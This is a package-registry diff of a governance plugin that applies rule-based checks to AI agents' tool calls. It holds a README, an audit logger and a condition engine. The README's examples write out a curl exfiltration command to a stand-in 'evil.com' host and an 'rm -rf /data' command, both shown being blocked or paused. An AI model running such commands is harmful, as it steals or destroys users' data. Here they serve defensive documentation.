@neuroverseos/governance 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 NeuroVerseOS
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,198 @@
1
+ # NeuroVerseOS — Governance Kernel for OpenClaw
2
+
3
+ NeuroVerseOS is a deterministic governance kernel for autonomous agents running in OpenClaw.
4
+
5
+ It compiles your `.md` agent files into a structured World File and enforces invariants, guards, rules, and role-based authority on every tool call.
6
+
7
+ No AI calls during enforcement. No network requests. Same world + same event = same verdict.
8
+
9
+ ## What NeuroVerseOS Does
10
+
11
+ NeuroVerseOS introduces structured, enforceable governance to agent systems.
12
+
13
+ It ensures that:
14
+
15
+ - Global constraints cannot be silently weakened
16
+ - Role-based authority is enforced at runtime
17
+ - World updates require explicit human approval
18
+ - Governance integrity is verified on every tool call
19
+ - All decisions are auditable
20
+
21
+ This is not prompt filtering. This is runtime constitutional enforcement.
22
+
23
+ ## Governance Model
24
+
25
+ NeuroVerseOS enforces governance across four layers:
26
+
27
+ 1. **Invariants** — Unbreakable global constraints
28
+ 2. **Guards** — Conditional limits requiring review
29
+ 3. **Rules** — Context-aware evaluation logic
30
+ 4. **Roles** — Delegated authority bound to agent identities
31
+
32
+ Role permissions are enforced inside world-level invariants. Delegated authority can never override global constraints.
33
+
34
+ ## Governance Lifecycle
35
+
36
+ World updates follow a mandatory approval flow:
37
+
38
+ ```
39
+ ACTIVE → PENDING → APPROVED → ACTIVE
40
+ ```
41
+
42
+ - `/world bootstrap` creates a pending world
43
+ - `/world diff` shows structured changes
44
+ - `/world approve` activates it
45
+ - Critical changes require explicit confirmation
46
+
47
+ No world change activates silently.
48
+
49
+ ## Installation
50
+
51
+ ```bash
52
+ openclaw plugins install @neuroverseos/governance
53
+ ```
54
+
55
+ For local development:
56
+
57
+ ```bash
58
+ openclaw plugins install -l .
59
+ ```
60
+
61
+ If OpenClaw runs on a VPS, install the plugin on that server.
62
+
63
+ ## Storage Model
64
+
65
+ NeuroVerseOS stores governance state per OpenClaw workspace in:
66
+
67
+ ```
68
+ .neuroverseos/
69
+ ```
70
+
71
+ This directory contains:
72
+
73
+ - `world.json`
74
+ - `world.meta.json`
75
+ - `audit.jsonl`
76
+ - `state.json`
77
+ - `proposals/`
78
+
79
+ No global hidden state. Each workspace maintains independent governance.
80
+
81
+ ## Quick Start
82
+
83
+ Inside your OpenClaw workspace:
84
+
85
+ ```
86
+ /world bootstrap
87
+ /world diff
88
+ /world approve
89
+ ```
90
+
91
+ This compiles your `.md` agent files into a structured World File and activates governance.
92
+
93
+ ## Runtime Enforcement
94
+
95
+ Every tool call passes through a deterministic evaluation pipeline:
96
+
97
+ 1. **Invariants** (BLOCK)
98
+ 2. **Guards** (PAUSE or BLOCK)
99
+ 3. **Rules** (context-aware verdict)
100
+ 4. **Role constraints**
101
+ 5. **Default** (ALLOW)
102
+
103
+ **Example BLOCK:**
104
+
105
+ ```
106
+ [governance] BLOCK shell → curl https://evil.com/exfil
107
+ invariant: no-data-exfiltration
108
+ ```
109
+
110
+ **Example PAUSE:**
111
+
112
+ ```
113
+ [governance] PAUSE shell → rm -rf /data
114
+ guard: destructive_shell_requires_approval
115
+ Allow? [y]es / [a]lways / [n]o
116
+ ```
117
+
118
+ All verdicts are logged to `.neuroverseos/audit.jsonl`.
119
+
120
+ ## Runtime Integrity Verification
121
+
122
+ Before evaluating rules, NeuroVerseOS verifies system integrity:
123
+
124
+ | Check | Behavior |
125
+ |-------|----------|
126
+ | World hash verification | BLOCK if modified outside approval pipeline |
127
+ | World missing detection | BLOCK if world deleted |
128
+ | Pending world reminder | Warn once per session |
129
+ | Source drift detection | Warn if `.md` files changed since bootstrap |
130
+
131
+ Critical failures fail closed.
132
+
133
+ **Example tamper detection:**
134
+
135
+ ```
136
+ [!!!] World file integrity check failed.
137
+ → Run /world restore
138
+ ```
139
+
140
+ ## Agent Identity → Role Binding
141
+
142
+ Each OpenClaw agent (`ctx.agentId`) is explicitly bound to a governance role.
143
+
144
+ Roles define:
145
+
146
+ - `canDo`
147
+ - `cannotDo`
148
+ - `requiresApproval`
149
+
150
+ Bindings are stored in `world.meta.json` and follow the same approval lifecycle as world changes.
151
+
152
+ Role enforcement is deterministic and runtime-verified.
153
+
154
+ ## Drift Detection
155
+
156
+ NeuroVerseOS tracks divergence between your `.md` source files and the active World File.
157
+
158
+ If drift is detected:
159
+
160
+ - `/world status` shows changed files
161
+ - You are prompted to regenerate
162
+ - Governance never updates silently
163
+
164
+ ## Composable Governance
165
+
166
+ Worlds are composable.
167
+
168
+ You can import or compose governance modules (e.g., operational safety, budget controls, strategy models) into a single enforceable World File.
169
+
170
+ All compositions generate a pending world and require approval.
171
+
172
+ ## Commands
173
+
174
+ | Command | Description |
175
+ |---------|-------------|
176
+ | `/world bootstrap` | Compile `.md` files into pending world |
177
+ | `/world status` | View governance + integrity state |
178
+ | `/world diff` | Compare pending vs active |
179
+ | `/world approve` | Activate pending world |
180
+ | `/world reject` | Discard pending changes |
181
+ | `/world history` | View past versions |
182
+ | `/world rollback <N>` | Restore previous version |
183
+ | `/world restore` | Recover from tampering |
184
+ | `/world bind <agent> <role>` | Bind agent to role |
185
+ | `/world bindings` | View agent-role bindings |
186
+
187
+ ## Design Principles
188
+
189
+ - Deterministic runtime enforcement
190
+ - Fail-closed integrity model
191
+ - Explicit human approval for world changes
192
+ - Role-based delegated authority
193
+ - Per-workspace deterministic storage
194
+ - No network calls during enforcement
195
+
196
+ ## License
197
+
198
+ MIT
@@ -0,0 +1,38 @@
1
+ /**
2
+ * Audit Logger — Append-only JSONL governance log
3
+ *
4
+ * Every verdict logged. Every PAUSE paired with a decision.
5
+ * Every entry references a ruleId. /world status reads this for drift metrics.
6
+ *
7
+ * Format: .neuroverseos/audit.jsonl — one JSON object per line.
8
+ */
9
+ import type { AuditEntry, AuditDecisionEntry, GovernanceVerdict } from './types';
10
+ export declare class AuditLogger {
11
+ private logPath;
12
+ constructor(logPath: string);
13
+ /**
14
+ * Log a governance verdict. Returns the event ID for pairing with decisions.
15
+ * Includes agentId for provenance tracking and severity for audit analysis.
16
+ */
17
+ logVerdict(tool: string, intent: string, verdict: GovernanceVerdict, agentId?: string): string;
18
+ /**
19
+ * Log a PAUSE decision (allow-once, allow-always, deny).
20
+ * Paired with the original verdict by event ID.
21
+ */
22
+ logDecision(eventId: string, decision: 'allow-once' | 'allow-always' | 'deny'): void;
23
+ /**
24
+ * Read all audit entries (for drift analysis / status command).
25
+ */
26
+ readAll(): Array<AuditEntry | AuditDecisionEntry>;
27
+ /**
28
+ * Count entries by status (for quick stats).
29
+ */
30
+ getCounts(): {
31
+ total: number;
32
+ allow: number;
33
+ pause: number;
34
+ block: number;
35
+ };
36
+ private append;
37
+ }
38
+ //# sourceMappingURL=audit-logger.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"audit-logger.d.ts","sourceRoot":"","sources":["../audit-logger.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAIH,OAAO,KAAK,EAAE,UAAU,EAAE,kBAAkB,EAAE,iBAAiB,EAAE,MAAM,SAAS,CAAC;AASjF,qBAAa,WAAW;IACtB,OAAO,CAAC,OAAO,CAAS;gBAEZ,OAAO,EAAE,MAAM;IAQ3B;;;OAGG;IACH,UAAU,CAAC,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,iBAAiB,EAAE,OAAO,CAAC,EAAE,MAAM,GAAG,MAAM;IAiB9F;;;OAGG;IACH,WAAW,CAAC,OAAO,EAAE,MAAM,EAAE,QAAQ,EAAE,YAAY,GAAG,cAAc,GAAG,MAAM,GAAG,IAAI;IAWpF;;OAEG;IACH,OAAO,IAAI,KAAK,CAAC,UAAU,GAAG,kBAAkB,CAAC;IAajD;;OAEG;IACH,SAAS,IAAI;QAAE,KAAK,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAA;KAAE;IAY3E,OAAO,CAAC,MAAM;CAOf"}
@@ -0,0 +1,100 @@
1
+ "use strict";
2
+ /**
3
+ * Audit Logger — Append-only JSONL governance log
4
+ *
5
+ * Every verdict logged. Every PAUSE paired with a decision.
6
+ * Every entry references a ruleId. /world status reads this for drift metrics.
7
+ *
8
+ * Format: .neuroverseos/audit.jsonl — one JSON object per line.
9
+ */
10
+ Object.defineProperty(exports, "__esModule", { value: true });
11
+ exports.AuditLogger = void 0;
12
+ const fs_1 = require("fs");
13
+ const path_1 = require("path");
14
+ let eventCounter = 0;
15
+ function nextEventId() {
16
+ eventCounter++;
17
+ return `ev-${String(eventCounter).padStart(3, '0')}`;
18
+ }
19
+ class AuditLogger {
20
+ constructor(logPath) {
21
+ this.logPath = logPath;
22
+ const dir = (0, path_1.dirname)(logPath);
23
+ if (!(0, fs_1.existsSync)(dir)) {
24
+ (0, fs_1.mkdirSync)(dir, { recursive: true });
25
+ }
26
+ }
27
+ /**
28
+ * Log a governance verdict. Returns the event ID for pairing with decisions.
29
+ * Includes agentId for provenance tracking and severity for audit analysis.
30
+ */
31
+ logVerdict(tool, intent, verdict, agentId) {
32
+ const id = nextEventId();
33
+ const entry = {
34
+ ts: Date.now(),
35
+ id,
36
+ tool,
37
+ intent,
38
+ status: verdict.status,
39
+ ruleId: verdict.ruleId,
40
+ evidence: verdict.evidence,
41
+ agentId,
42
+ severity: verdict.severity,
43
+ };
44
+ this.append(entry);
45
+ return id;
46
+ }
47
+ /**
48
+ * Log a PAUSE decision (allow-once, allow-always, deny).
49
+ * Paired with the original verdict by event ID.
50
+ */
51
+ logDecision(eventId, decision) {
52
+ const entry = {
53
+ ts: Date.now(),
54
+ id: eventId,
55
+ type: 'decision',
56
+ decision,
57
+ decidedAt: Date.now(),
58
+ };
59
+ this.append(entry);
60
+ }
61
+ /**
62
+ * Read all audit entries (for drift analysis / status command).
63
+ */
64
+ readAll() {
65
+ if (!(0, fs_1.existsSync)(this.logPath))
66
+ return [];
67
+ try {
68
+ const raw = (0, fs_1.readFileSync)(this.logPath, 'utf-8');
69
+ return raw
70
+ .split('\n')
71
+ .filter(line => line.trim())
72
+ .map(line => JSON.parse(line));
73
+ }
74
+ catch {
75
+ return [];
76
+ }
77
+ }
78
+ /**
79
+ * Count entries by status (for quick stats).
80
+ */
81
+ getCounts() {
82
+ const entries = this.readAll().filter((e) => !('type' in e && e.type === 'decision'));
83
+ return {
84
+ total: entries.length,
85
+ allow: entries.filter(e => e.status === 'ALLOW').length,
86
+ pause: entries.filter(e => e.status === 'PAUSE').length,
87
+ block: entries.filter(e => e.status === 'BLOCK').length,
88
+ };
89
+ }
90
+ append(entry) {
91
+ try {
92
+ (0, fs_1.appendFileSync)(this.logPath, JSON.stringify(entry) + '\n');
93
+ }
94
+ catch {
95
+ // Silent failure — don't crash enforcement on log write failure
96
+ }
97
+ }
98
+ }
99
+ exports.AuditLogger = AuditLogger;
100
+ //# sourceMappingURL=audit-logger.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"audit-logger.js","sourceRoot":"","sources":["../audit-logger.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,16 @@
1
+ /**
2
+ * Condition Engine — Structured operator evaluation
3
+ *
4
+ * Replaces string.includes(pattern) with a real operator engine.
5
+ * These operators mirror the Experience Space rule compiler — same
6
+ * vocabulary across all three players.
7
+ *
8
+ * Deterministic. No AI. No network. Sub-millisecond per evaluation.
9
+ */
10
+ import type { Condition, ConditionResult, ToolCallEvent } from './types';
11
+ /**
12
+ * Evaluate a single condition against a tool call event.
13
+ * Returns whether it matched and what evidence was found.
14
+ */
15
+ export declare function evaluateCondition(condition: Condition, event: ToolCallEvent): ConditionResult;
16
+ //# sourceMappingURL=condition-engine.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"condition-engine.d.ts","sourceRoot":"","sources":["../condition-engine.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,KAAK,EAAE,SAAS,EAAE,eAAe,EAAE,aAAa,EAAE,MAAM,SAAS,CAAC;AAiCzE;;;GAGG;AACH,wBAAgB,iBAAiB,CAC/B,SAAS,EAAE,SAAS,EACpB,KAAK,EAAE,aAAa,GACnB,eAAe,CAgDjB"}
@@ -0,0 +1,186 @@
1
+ "use strict";
2
+ /**
3
+ * Condition Engine — Structured operator evaluation
4
+ *
5
+ * Replaces string.includes(pattern) with a real operator engine.
6
+ * These operators mirror the Experience Space rule compiler — same
7
+ * vocabulary across all three players.
8
+ *
9
+ * Deterministic. No AI. No network. Sub-millisecond per evaluation.
10
+ */
11
+ Object.defineProperty(exports, "__esModule", { value: true });
12
+ exports.evaluateCondition = evaluateCondition;
13
+ // ────────────────────────────────────────────────────────────────────────
14
+ // Field Resolution
15
+ // ────────────────────────────────────────────────────────────────────────
16
+ /**
17
+ * Resolve a field path from the event.
18
+ * Supports top-level fields and nested args (e.g. "args.command", "args.file_path").
19
+ */
20
+ function getFieldValue(event, field) {
21
+ if (field.startsWith('args.')) {
22
+ const key = field.slice(5);
23
+ return event.args?.[key];
24
+ }
25
+ return event[field];
26
+ }
27
+ /**
28
+ * Coerce a field value to string for text operations.
29
+ * Objects/arrays are JSON-stringified. Nullish becomes empty string.
30
+ */
31
+ function toString(value) {
32
+ if (value === null || value === undefined)
33
+ return '';
34
+ if (typeof value === 'string')
35
+ return value;
36
+ if (typeof value === 'number' || typeof value === 'boolean')
37
+ return String(value);
38
+ return JSON.stringify(value);
39
+ }
40
+ // ────────────────────────────────────────────────────────────────────────
41
+ // Core Evaluator
42
+ // ────────────────────────────────────────────────────────────────────────
43
+ /**
44
+ * Evaluate a single condition against a tool call event.
45
+ * Returns whether it matched and what evidence was found.
46
+ */
47
+ function evaluateCondition(condition, event) {
48
+ const fieldValue = getFieldValue(event, condition.field);
49
+ // Missing field never matches (except != which is debatable — we treat missing as no-match)
50
+ if (fieldValue === undefined && condition.operator !== '!=') {
51
+ return { matched: false, evidence: null };
52
+ }
53
+ switch (condition.operator) {
54
+ case '==':
55
+ return evaluateEquals(fieldValue, condition.value);
56
+ case '!=':
57
+ return evaluateNotEquals(fieldValue, condition.value);
58
+ case '>':
59
+ return evaluateComparison(fieldValue, condition.value, (a, b) => a > b);
60
+ case '<':
61
+ return evaluateComparison(fieldValue, condition.value, (a, b) => a < b);
62
+ case '>=':
63
+ return evaluateComparison(fieldValue, condition.value, (a, b) => a >= b);
64
+ case '<=':
65
+ return evaluateComparison(fieldValue, condition.value, (a, b) => a <= b);
66
+ case 'in':
67
+ return evaluateIn(fieldValue, condition.value);
68
+ case 'contains':
69
+ return evaluateContains(fieldValue, condition.value);
70
+ case 'contains_any':
71
+ return evaluateContainsAny(fieldValue, condition.value);
72
+ case 'matches_pattern':
73
+ return evaluateMatchesPattern(fieldValue, condition.value);
74
+ case 'starts_with':
75
+ return evaluateStartsWith(fieldValue, condition.value);
76
+ case 'ends_with':
77
+ return evaluateEndsWith(fieldValue, condition.value);
78
+ default:
79
+ return { matched: false, evidence: null };
80
+ }
81
+ }
82
+ // ────────────────────────────────────────────────────────────────────────
83
+ // Operator Implementations
84
+ // ────────────────────────────────────────────────────────────────────────
85
+ function evaluateEquals(fieldValue, conditionValue) {
86
+ const fieldStr = toString(fieldValue);
87
+ const condStr = toString(conditionValue);
88
+ const matched = fieldStr === condStr;
89
+ return {
90
+ matched,
91
+ evidence: matched ? `${fieldStr} == ${condStr}` : null,
92
+ };
93
+ }
94
+ function evaluateNotEquals(fieldValue, conditionValue) {
95
+ const fieldStr = toString(fieldValue);
96
+ const condStr = toString(conditionValue);
97
+ const matched = fieldStr !== condStr;
98
+ return {
99
+ matched,
100
+ evidence: matched ? `${fieldStr} != ${condStr}` : null,
101
+ };
102
+ }
103
+ function evaluateComparison(fieldValue, conditionValue, comparator) {
104
+ const a = Number(fieldValue);
105
+ const b = Number(conditionValue);
106
+ if (isNaN(a) || isNaN(b))
107
+ return { matched: false, evidence: null };
108
+ const matched = comparator(a, b);
109
+ return {
110
+ matched,
111
+ evidence: matched ? `${a} compared to ${b}` : null,
112
+ };
113
+ }
114
+ function evaluateIn(fieldValue, conditionValue) {
115
+ if (!Array.isArray(conditionValue))
116
+ return { matched: false, evidence: null };
117
+ const fieldStr = toString(fieldValue);
118
+ const matched = conditionValue.some(v => toString(v) === fieldStr);
119
+ return {
120
+ matched,
121
+ evidence: matched ? `"${fieldStr}" found in [${conditionValue.join(', ')}]` : null,
122
+ };
123
+ }
124
+ function evaluateContains(fieldValue, conditionValue) {
125
+ const fieldStr = toString(fieldValue).toLowerCase();
126
+ const searchStr = toString(conditionValue).toLowerCase();
127
+ const matched = fieldStr.includes(searchStr);
128
+ return {
129
+ matched,
130
+ evidence: matched ? `"${searchStr}" found in field` : null,
131
+ };
132
+ }
133
+ function evaluateContainsAny(fieldValue, conditionValue) {
134
+ if (!Array.isArray(conditionValue))
135
+ return { matched: false, evidence: null };
136
+ const fieldStr = toString(fieldValue).toLowerCase();
137
+ for (const pattern of conditionValue) {
138
+ const patternLower = toString(pattern).toLowerCase();
139
+ if (fieldStr.includes(patternLower)) {
140
+ return {
141
+ matched: true,
142
+ evidence: `"${patternLower}" found in field`,
143
+ };
144
+ }
145
+ }
146
+ return { matched: false, evidence: null };
147
+ }
148
+ function evaluateMatchesPattern(fieldValue, conditionValue) {
149
+ const fieldStr = toString(fieldValue);
150
+ const patterns = Array.isArray(conditionValue) ? conditionValue : [toString(conditionValue)];
151
+ for (const pattern of patterns) {
152
+ try {
153
+ const regex = new RegExp(toString(pattern), 'i');
154
+ if (regex.test(fieldStr)) {
155
+ return {
156
+ matched: true,
157
+ evidence: `matched pattern /${pattern}/`,
158
+ };
159
+ }
160
+ }
161
+ catch {
162
+ // Invalid regex — skip silently (don't crash enforcement)
163
+ continue;
164
+ }
165
+ }
166
+ return { matched: false, evidence: null };
167
+ }
168
+ function evaluateStartsWith(fieldValue, conditionValue) {
169
+ const fieldStr = toString(fieldValue).toLowerCase();
170
+ const prefix = toString(conditionValue).toLowerCase();
171
+ const matched = fieldStr.startsWith(prefix);
172
+ return {
173
+ matched,
174
+ evidence: matched ? `field starts with "${prefix}"` : null,
175
+ };
176
+ }
177
+ function evaluateEndsWith(fieldValue, conditionValue) {
178
+ const fieldStr = toString(fieldValue).toLowerCase();
179
+ const suffix = toString(conditionValue).toLowerCase();
180
+ const matched = fieldStr.endsWith(suffix);
181
+ return {
182
+ matched,
183
+ evidence: matched ? `field ends with "${suffix}"` : null,
184
+ };
185
+ }
186
+ //# sourceMappingURL=condition-engine.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"condition-engine.js","sourceRoot":"","sources":["../condition-engine.ts"],"names":[],"mappings":"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